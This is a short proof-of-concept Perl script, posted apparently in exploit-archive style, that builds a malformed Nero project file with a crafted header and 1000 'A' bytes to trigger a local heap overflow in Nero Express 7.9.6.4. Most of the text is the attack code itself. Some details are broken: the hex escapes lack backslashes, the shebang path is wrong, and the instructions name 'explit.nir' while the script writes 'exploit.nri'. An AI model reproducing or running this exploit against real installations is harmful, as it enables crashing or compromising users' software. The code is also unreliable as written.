Nero Express v7.9.6.4 Local Heap PoC :

Date : 2010-01-01 Author : D3V!L FUCKER
#!/user/bin/perl
# Exploit Title: [Nero Express7 Local Heap Poc]
# Date: [2010/01/01]
# Author: [D3V!L FUCKER]
# Version: [Nero Express7 Ver.7.9.6.4]
# Tested on: [windows vista sp0]
#After Setup Open Nero StartSmart Essentials => Favorites => Open Projects => explit.nir
# Code :
$headr=
"xFFxFExFFx0Ex4Ex00x65x00x72x00x6Fx00x49x00x53x00".
"x4Fx00x30x00x2Ex00x30x00x33x00x2Ex00x30x00x31x00";

$boom="A" x 1000;

open(myfile,'>>exploit.nri') || die "Cannot Creat file

";
print myfile $headr;
print myfile $boom;
print "Done..!~#
";


C1

 

C2

 

C3